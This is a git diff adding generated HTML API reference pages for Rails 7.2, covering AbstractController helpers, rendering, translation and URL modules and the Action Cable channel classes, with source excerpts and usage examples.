Parameters

+
  • +

    method[, method] - A name or names of a method on the controller to be made available on the view.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/helpers.rb, line 128
+      def helper_method(*methods)
+        methods.flatten!
+        self._helper_methods += methods
+
+        location = caller_locations(1, 1).first
+        file, line = location.path, location.lineno
+
+        methods.each do |method|
+          # def current_user(...)
+          #   controller.send(:'current_user', ...)
+          # end
+          _helpers_for_modification.class_eval <<~ruby_eval.lines.map(&:strip).join(";"), file, line
+            def #{method}(...)
+              controller.send(:'#{method}', ...)
+            end
+          ruby_eval
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherited(klass) + +

+ + +
+

When a class is inherited, wrap its helper module in a new module. This ensures that the parent class’s module can be changed independently of the child class’s.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/helpers.rb, line 68
+      def inherited(klass)
+        # Inherited from parent by default
+        klass._helpers = nil
+
+        klass.class_eval { default_helper_module! } unless klass.anonymous?
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + modules_for_helpers(modules_or_helper_prefixes) + + +

+ + +
+

Given an array of values like the ones accepted by helper, this method returns an array with the corresponding modules, in the same order.

+ +
ActionController::Base.modules_for_helpers(["application", "chart", "rubygems"])
+# => [ApplicationHelper, ChartHelper, RubygemsHelper]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Railties.html b/src/7.2/classes/AbstractController/Railties.html new file mode 100644 index 0000000000..688732335e --- /dev/null +++ b/src/7.2/classes/AbstractController/Railties.html @@ -0,0 +1,67 @@ +--- +title: AbstractController::Railties +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Railties/RoutesHelpers.html b/src/7.2/classes/AbstractController/Railties/RoutesHelpers.html new file mode 100644 index 0000000000..318215721d --- /dev/null +++ b/src/7.2/classes/AbstractController/Railties/RoutesHelpers.html @@ -0,0 +1,111 @@ +--- +title: AbstractController::Railties::RoutesHelpers +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + with(routes, include_path_helpers = true) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/railties/routes_helpers.rb, line 10
+      def self.with(routes, include_path_helpers = true)
+        Module.new do
+          define_method(:inherited) do |klass|
+            super(klass)
+
+            if namespace = klass.module_parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
+              klass.include(namespace.railtie_routes_url_helpers(include_path_helpers))
+            else
+              klass.include(routes.url_helpers(include_path_helpers))
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Rendering.html b/src/7.2/classes/AbstractController/Rendering.html new file mode 100644 index 0000000000..a88e055017 --- /dev/null +++ b/src/7.2/classes/AbstractController/Rendering.html @@ -0,0 +1,430 @@ +--- +title: AbstractController::Rendering +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_PROTECTED_INSTANCE_VARIABLES=%i(@_action_name @_response_body @_formats @_prefixes)
+ + + + + + + +

Instance Public methods

+ +
+

+ + render(*args, &block) + +

+ + +
+

Normalizes arguments and options, and then delegates to render_to_body and sticks the result in self.response_body.

+ +

Supported options depend on the underlying render_to_body implementation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 27
+    def render(*args, &block)
+      options = _normalize_render(*args, &block)
+      rendered_body = render_to_body(options)
+      if options[:html]
+        _set_html_content_type
+      else
+        _set_rendered_content_type rendered_format
+      end
+      _set_vary_header
+      self.response_body = rendered_body
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_to_body(options = {}) + +

+ + +
+

Performs the actual template rendering.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 51
+    def render_to_body(options = {})
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_to_string(*args, &block) + +

+ + +
+

Similar to render, but only returns the rendered template as a string, instead of setting self.response_body.

+ +

If a component extends the semantics of response_body (as ActionController extends it to be anything that responds to the method each), this method needs to be overridden in order to still return a string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 45
+    def render_to_string(*args, &block)
+      options = _normalize_render(*args, &block)
+      render_to_body(options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rendered_format() + +

+ + +
+

Returns Content-Type of rendered content.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 55
+    def rendered_format
+      Mime[:text]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + view_assigns() + +

+ + +
+

This method should return a hash with assigns. You can overwrite this configuration per controller.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 63
+    def view_assigns
+      variables = instance_variables - _protected_ivars
+
+      variables.each_with_object({}) do |name, hash|
+        hash[name.slice(1, name.length)] = instance_variable_get(name)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + _normalize_args(action = nil, options = {}) + +

+ + +
+

Normalize args by converting render "foo" to render action: "foo" and render "foo/bar" to render file: "foo/bar".

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 74
+    def _normalize_args(action = nil, options = {}) # :doc:
+      if action.respond_to?(:permitted?)
+        if action.permitted?
+          action
+        else
+          raise ArgumentError, "render parameters are not permitted"
+        end
+      elsif action.is_a?(Hash)
+        action
+      else
+        options
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _normalize_options(options) + +

+ + +
+

Normalize options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 89
+    def _normalize_options(options) # :doc:
+      options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _process_options(options) + +

+ + +
+

Process extra options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 94
+    def _process_options(options) # :doc:
+      options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Translation.html b/src/7.2/classes/AbstractController/Translation.html new file mode 100644 index 0000000000..6078da6467 --- /dev/null +++ b/src/7.2/classes/AbstractController/Translation.html @@ -0,0 +1,222 @@ +--- +title: AbstractController::Translation +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + l(object, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: localize +
+ + + + +
+ +
+

+ + localize(object, **options) + +

+ + +
+

Delegates to I18n.localize.

+
+ + + +
+ Also aliased as: l +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/translation.rb, line 37
+    def localize(object, **options)
+      I18n.localize(object, **options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + t(key, **options) + +

+ + +
+ +
+ + + + + +
+ Alias for: translate +
+ + + + +
+ +
+

+ + translate(key, **options) + +

+ + +
+

Delegates to I18n.translate.

+ +

When the given key starts with a period, it will be scoped by the current controller and action. So if you call translate(".foo") from PeopleController#index, it will convert the call to I18n.translate("people.index.foo"). This makes it less repetitive to translate many keys within the same controller / action and gives you a simple framework for scoping them consistently.

+
+ + + +
+ Also aliased as: t +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/translation.rb, line 17
+    def translate(key, **options)
+      if key&.start_with?(".")
+        path = controller_path.tr("/", ".")
+        defaults = [:"#{path}#{key}"]
+        defaults << options[:default] if options[:default]
+        options[:default] = defaults.flatten
+        key = "#{path}.#{action_name}#{key}"
+      end
+
+      if options[:default] && ActiveSupport::HtmlSafeTranslation.html_safe_translation_key?(key)
+        options[:default] = Array(options[:default]).map do |value|
+          value.is_a?(String) ? ERB::Util.html_escape(value) : value
+        end
+      end
+
+      ActiveSupport::HtmlSafeTranslation.translate(key, **options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/UrlFor.html b/src/7.2/classes/AbstractController/UrlFor.html new file mode 100644 index 0000000000..cac0d41032 --- /dev/null +++ b/src/7.2/classes/AbstractController/UrlFor.html @@ -0,0 +1,139 @@ +--- +title: AbstractController::UrlFor +layout: default +--- +
+ +
+
+ +
+ +

URL For

+ +

Includes url_for into the host class (e.g. an abstract controller or mailer). The class has to provide a RouteSet by implementing the _routes methods. Otherwise, an exception will be raised.

+ +

Note that this module is completely decoupled from HTTP - the only requirement is a valid _routes implementation.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _routes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/url_for.rb, line 18
+    def _routes
+      raise "In order to use #url_for, you must include routing helpers explicitly. " \
+            "For instance, `include Rails.application.routes.url_helpers`."
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/UrlFor/ClassMethods.html b/src/7.2/classes/AbstractController/UrlFor/ClassMethods.html new file mode 100644 index 0000000000..9b2c901ed5 --- /dev/null +++ b/src/7.2/classes/AbstractController/UrlFor/ClassMethods.html @@ -0,0 +1,144 @@ +--- +title: AbstractController::UrlFor::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _routes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/url_for.rb, line 24
+      def _routes
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + action_methods() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/url_for.rb, line 28
+      def action_methods
+        @action_methods ||= if _routes
+          super - _routes.named_routes.helper_names
+        else
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable.html b/src/7.2/classes/ActionCable.html new file mode 100644 index 0000000000..d1279097b7 --- /dev/null +++ b/src/7.2/classes/ActionCable.html @@ -0,0 +1,358 @@ +--- +title: ActionCable +layout: default +--- +
+ +
+
+ +
+ +

Action Cable – Integrated WebSockets for Rails

+ +

Action Cable seamlessly integrates WebSockets with the rest of your Rails application. It allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It’s a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

+ +

You can read more about Action Cable in the Action Cable Overview guide.

+ +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
INTERNAL={ +message_types: { +welcome: "welcome", +disconnect: "disconnect", +ping: "ping", +confirmation: "confirm_subscription", +rejection: "reject_subscription" +}, +disconnect_reasons: { +unauthorized: "unauthorized", +invalid_request: "invalid_request", +server_restart: "server_restart", +remote: "remote" +}, +default_mount_path: "/cable", +protocols: ["actioncable-v1-json", "actioncable-unsupported"].freeze +}
+ + + + + + +

Class Public methods

+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Action Cable as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/gem_version.rb, line 7
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Action Cable as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/version.rb, line 9
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + server() + +

+ + +
+

Singleton instance of the server

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable.rb, line 77
+                  def server
+    @server ||= ActionCable::Server::Base.new
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel.html b/src/7.2/classes/ActionCable/Channel.html new file mode 100644 index 0000000000..290a407fb3 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel.html @@ -0,0 +1,106 @@ +--- +title: ActionCable::Channel +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Base.html b/src/7.2/classes/ActionCable/Channel/Base.html new file mode 100644 index 0000000000..f6d0fe65bd --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Base.html @@ -0,0 +1,873 @@ +--- +title: ActionCable::Channel::Base +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Channel Base

+ +

The channel provides the basic structure of grouping behavior into logical units when communicating over the WebSocket connection. You can think of a channel like a form of controller, but one that’s capable of pushing content to the subscriber in addition to simply responding to the subscriber’s direct requests.

+ +

Channel instances are long-lived. A channel object will be instantiated when the cable consumer becomes a subscriber, and then lives until the consumer disconnects. This may be seconds, minutes, hours, or even days. That means you have to take special care not to do anything silly in a channel that would balloon its memory footprint or whatever. The references are forever, so they won’t be released as is normally the case with a controller instance that gets thrown away after every request.

+ +

Long-lived channels (and connections) also mean you’re responsible for ensuring that the data is fresh. If you hold a reference to a user record, but the name is changed while that reference is held, you may be sending stale data if you don’t take precautions to avoid it.

+ +

The upside of long-lived channel instances is that you can use instance variables to keep reference to objects that future subscriber requests can interact with. Here’s a quick example:

+ +
class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    @room = Chat::Room[params[:room_number]]
+  end
+
+  def speak(data)
+    @room.speak data, user: current_user
+  end
+end
+
+ +

The speak action simply uses the Chat::Room object that was created when the channel was first subscribed to by the consumer when that subscriber wants to say something in the room.

+ +

Action processing

+ +

Unlike subclasses of ActionController::Base, channels do not follow a RESTful constraint form for their actions. Instead, Action Cable operates through a remote-procedure call model. You can declare any public method on the channel (optionally taking a data argument), and this method is automatically exposed as callable to the client.

+ +

Example:

+ +
class AppearanceChannel < ApplicationCable::Channel
+  def subscribed
+    @connection_token = generate_connection_token
+  end
+
+  def unsubscribed
+    current_user.disappear @connection_token
+  end
+
+  def appear(data)
+    current_user.appear @connection_token, on: data['appearing_on']
+  end
+
+  def away
+    current_user.away @connection_token
+  end
+
+  private
+    def generate_connection_token
+      SecureRandom.hex(36)
+    end
+end
+
+ +

In this example, the subscribed and unsubscribed methods are not callable methods, as they were already declared in ActionCable::Channel::Base, but #appear and #away are. #generate_connection_token is also not callable, since it’s a private method. You’ll see that appear accepts a data parameter, which it then uses as part of its model call. #away does not, since it’s simply a trigger action.

+ +

Also note that in this example, current_user is available because it was marked as an identifying attribute on the connection. All such identifiers will automatically create a delegation method of the same name on the channel instance.

+ +

Rejecting subscription requests

+ +

A channel can reject a subscription request in the subscribed callback by invoking the reject method:

+ +
class ChatChannel < ApplicationCable::Channel
+  def subscribed
+    @room = Chat::Room[params[:room_number]]
+    reject unless current_user.can_access?(@room)
+  end
+end
+
+ +

In this example, the subscription will be rejected if the current_user does not have access to the chat room. On the client-side, the Channel#rejected callback will get invoked when the server rejects the subscription request.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + connection
+ [R] + identifier
+ [R] + params
+ + + + +

Class Public methods

+ +
+

+ + action_methods() + +

+ + +
+

A list of method names that should be considered actions. This includes all public instance methods on a channel, less any internal methods (defined on Base), adding back in any methods that are internal, but still exist on the class itself.

+ +

Returns

+
  • +

    Set - A set of all methods that should be considered actions.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 129
+        def action_methods
+          @action_methods ||= begin
+            # All public instance methods of this class, including ancestors
+            methods = (public_instance_methods(true) -
+              # Except for public instance methods of Base and its ancestors
+              ActionCable::Channel::Base.public_instance_methods(true) +
+              # Be sure to include shadowed public instance methods of this class
+              public_instance_methods(false)).uniq.map(&:to_s)
+            methods.to_set
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(connection, identifier, params = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 156
+      def initialize(connection, identifier, params = {})
+        @connection = connection
+        @identifier = identifier
+        @params     = params
+
+        # When a channel is streaming via pubsub, we want to delay the confirmation
+        # transmission until pubsub subscription is confirmed.
+        #
+        # The counter starts at 1 because it's awaiting a call to #subscribe_to_channel
+        @defer_subscription_confirmation_counter = Concurrent::AtomicFixnum.new(1)
+
+        @reject_subscription = nil
+        @subscription_confirmation_sent = nil
+
+        delegate_connection_identifiers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Class Private methods

+ +
+

+ + clear_action_methods!() + +

+ + +
+

action_methods are cached and there is sometimes need to refresh them. ::clear_action_methods! allows you to do that, so next time you run action_methods, they will be recalculated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 145
+          def clear_action_methods! # :doc:
+            @action_methods = nil
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_added(name) + +

+ + +
+

Refresh the cached action_methods when a new action_method is added.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 150
+          def method_added(name) # :doc:
+            super
+            clear_action_methods!
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + perform_action(data) + +

+ + +
+

Extract the action name from the passed data and process it via the channel. The process will ensure that the action requested is a public method on the channel declared by the user (so not one of the callbacks like subscribed).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 176
+      def perform_action(data)
+        action = extract_action(data)
+
+        if processable_action?(action)
+          payload = { channel_class: self.class.name, action: action, data: data }
+          ActiveSupport::Notifications.instrument("perform_action.action_cable", payload) do
+            dispatch_action(action, data)
+          end
+        else
+          logger.error "Unable to process #{action_signature(action, data)}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribe_to_channel() + +

+ + +
+

This method is called after subscription has been added to the connection and confirms or rejects the subscription.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 191
+      def subscribe_to_channel
+        run_callbacks :subscribe do
+          subscribed
+        end
+
+        reject_subscription if subscription_rejected?
+        ensure_confirmation_sent
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + defer_subscription_confirmation!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 245
+        def defer_subscription_confirmation! # :doc:
+          @defer_subscription_confirmation_counter.increment
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + defer_subscription_confirmation?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 249
+        def defer_subscription_confirmation? # :doc:
+          @defer_subscription_confirmation_counter.value > 0
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ensure_confirmation_sent() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 239
+        def ensure_confirmation_sent # :doc:
+          return if subscription_rejected?
+          @defer_subscription_confirmation_counter.decrement
+          transmit_subscription_confirmation unless defer_subscription_confirmation?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reject() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 257
+        def reject # :doc:
+          @reject_subscription = true
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribed() + +

+ + +
+

Called once a consumer has become a subscriber of the channel. Usually the place to set up any streams you want this channel to be sending to the subscriber.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 213
+        def subscribed # :doc:
+          # Override in subclasses
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscription_confirmation_sent?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 253
+        def subscription_confirmation_sent? # :doc:
+          @subscription_confirmation_sent
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscription_rejected?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 261
+        def subscription_rejected? # :doc:
+          @reject_subscription
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transmit(data, via: nil) + +

+ + +
+

Transmit a hash of data to the subscriber. The hash will automatically be wrapped in a JSON envelope with the proper channel identifier marked as the recipient.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 226
+        def transmit(data, via: nil) # :doc:
+          logger.debug do
+            status = "#{self.class.name} transmitting #{data.inspect.truncate(300)}"
+            status += " (via #{via})" if via
+            status
+          end
+
+          payload = { channel_class: self.class.name, data: data, via: via }
+          ActiveSupport::Notifications.instrument("transmit.action_cable", payload) do
+            connection.transmit identifier: @identifier, message: data
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribed() + +

+ + +
+

Called once a consumer has cut its cable connection. Can be used for cleaning up connections or marking users as offline or the like.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/base.rb, line 219
+        def unsubscribed # :doc:
+          # Override in subclasses
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Broadcasting.html b/src/7.2/classes/ActionCable/Channel/Broadcasting.html new file mode 100644 index 0000000000..b60afed2b4 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Broadcasting.html @@ -0,0 +1,153 @@ +--- +title: ActionCable::Channel::Broadcasting +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + broadcast_to(model, message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/broadcasting.rb, line 45
+      def broadcast_to(model, message)
+        self.class.broadcast_to(model, message)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + broadcasting_for(model) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/broadcasting.rb, line 41
+      def broadcasting_for(model)
+        self.class.broadcasting_for(model)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Broadcasting/ClassMethods.html b/src/7.2/classes/ActionCable/Channel/Broadcasting/ClassMethods.html new file mode 100644 index 0000000000..1d98487cf3 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Broadcasting/ClassMethods.html @@ -0,0 +1,145 @@ +--- +title: ActionCable::Channel::Broadcasting::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + broadcast_to(model, message) + +

+ + +
+

Broadcast a hash to a unique broadcasting for this model in this channel.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/broadcasting.rb, line 14
+        def broadcast_to(model, message)
+          ActionCable.server.broadcast(broadcasting_for(model), message)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + broadcasting_for(model) + +

+ + +
+

Returns a unique broadcasting identifier for this model in this channel:

+ +
CommentsChannel.broadcasting_for("all") # => "comments:all"
+
+ +

You can pass any object as a target (e.g. Active Record model), and it would be serialized into a string under the hood.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/broadcasting.rb, line 24
+        def broadcasting_for(model)
+          serialize_broadcasting([ channel_name, model ])
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Callbacks.html b/src/7.2/classes/ActionCable/Channel/Callbacks.html new file mode 100644 index 0000000000..22fb180c78 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Callbacks.html @@ -0,0 +1,115 @@ +--- +title: ActionCable::Channel::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Channel Callbacks

+ +

Action Cable Channel provides callback hooks that are invoked during the life cycle of a channel:

+ + +

Example

+ +
class ChatChannel < ApplicationCable::Channel
+  after_subscribe :send_welcome_message, unless: :subscription_rejected?
+  after_subscribe :track_subscription
+
+  private
+    def send_welcome_message
+      broadcast_to(...)
+    end
+
+    def track_subscription
+      # ...
+    end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/Callbacks/ClassMethods.html b/src/7.2/classes/ActionCable/Channel/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..e946a09116 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/Callbacks/ClassMethods.html @@ -0,0 +1,289 @@ +--- +title: ActionCable::Channel::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_subscribe(*methods, &block) + +

+ + +
+

This callback will be triggered after the Base#subscribed method is called, even if the subscription was rejected with the Base#reject method.

+ +

To trigger the callback only on successful subscriptions, use the Base#subscription_rejected? method:

+ +
after_subscribe :my_method, unless: :subscription_rejected?
+
+
+ + + +
+ Also aliased as: on_subscribe +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/callbacks.rb, line 60
+        def after_subscribe(*methods, &block)
+          set_callback(:subscribe, :after, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_unsubscribe(*methods, &block) + +

+ + +
+ +
+ + + +
+ Also aliased as: on_unsubscribe +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/callbacks.rb, line 69
+        def after_unsubscribe(*methods, &block)
+          set_callback(:unsubscribe, :after, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_subscribe(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/callbacks.rb, line 48
+        def before_subscribe(*methods, &block)
+          set_callback(:subscribe, :before, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_unsubscribe(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/callbacks.rb, line 65
+        def before_unsubscribe(*methods, &block)
+          set_callback(:unsubscribe, :before, *methods, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_subscribe(*methods, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: after_subscribe +
+ + + + +
+ +
+

+ + on_unsubscribe(*methods, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: after_unsubscribe +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/Channel/ChannelStub.html b/src/7.2/classes/ActionCable/Channel/ChannelStub.html new file mode 100644 index 0000000000..816f6c96a6 --- /dev/null +++ b/src/7.2/classes/ActionCable/Channel/ChannelStub.html @@ -0,0 +1,335 @@ +--- +title: ActionCable::Channel::ChannelStub +layout: default +--- +
+ +
+
+ +
+ +

Action Cable Channel Stub

+ +

Stub stream_from to track streams for the channel. Add public aliases for subscription_confirmation_sent? and subscription_rejected?.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + confirmed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/channel/test_case.rb, line 25
+      def confirmed?
+        subscription_confirmation_sent?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rejected?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
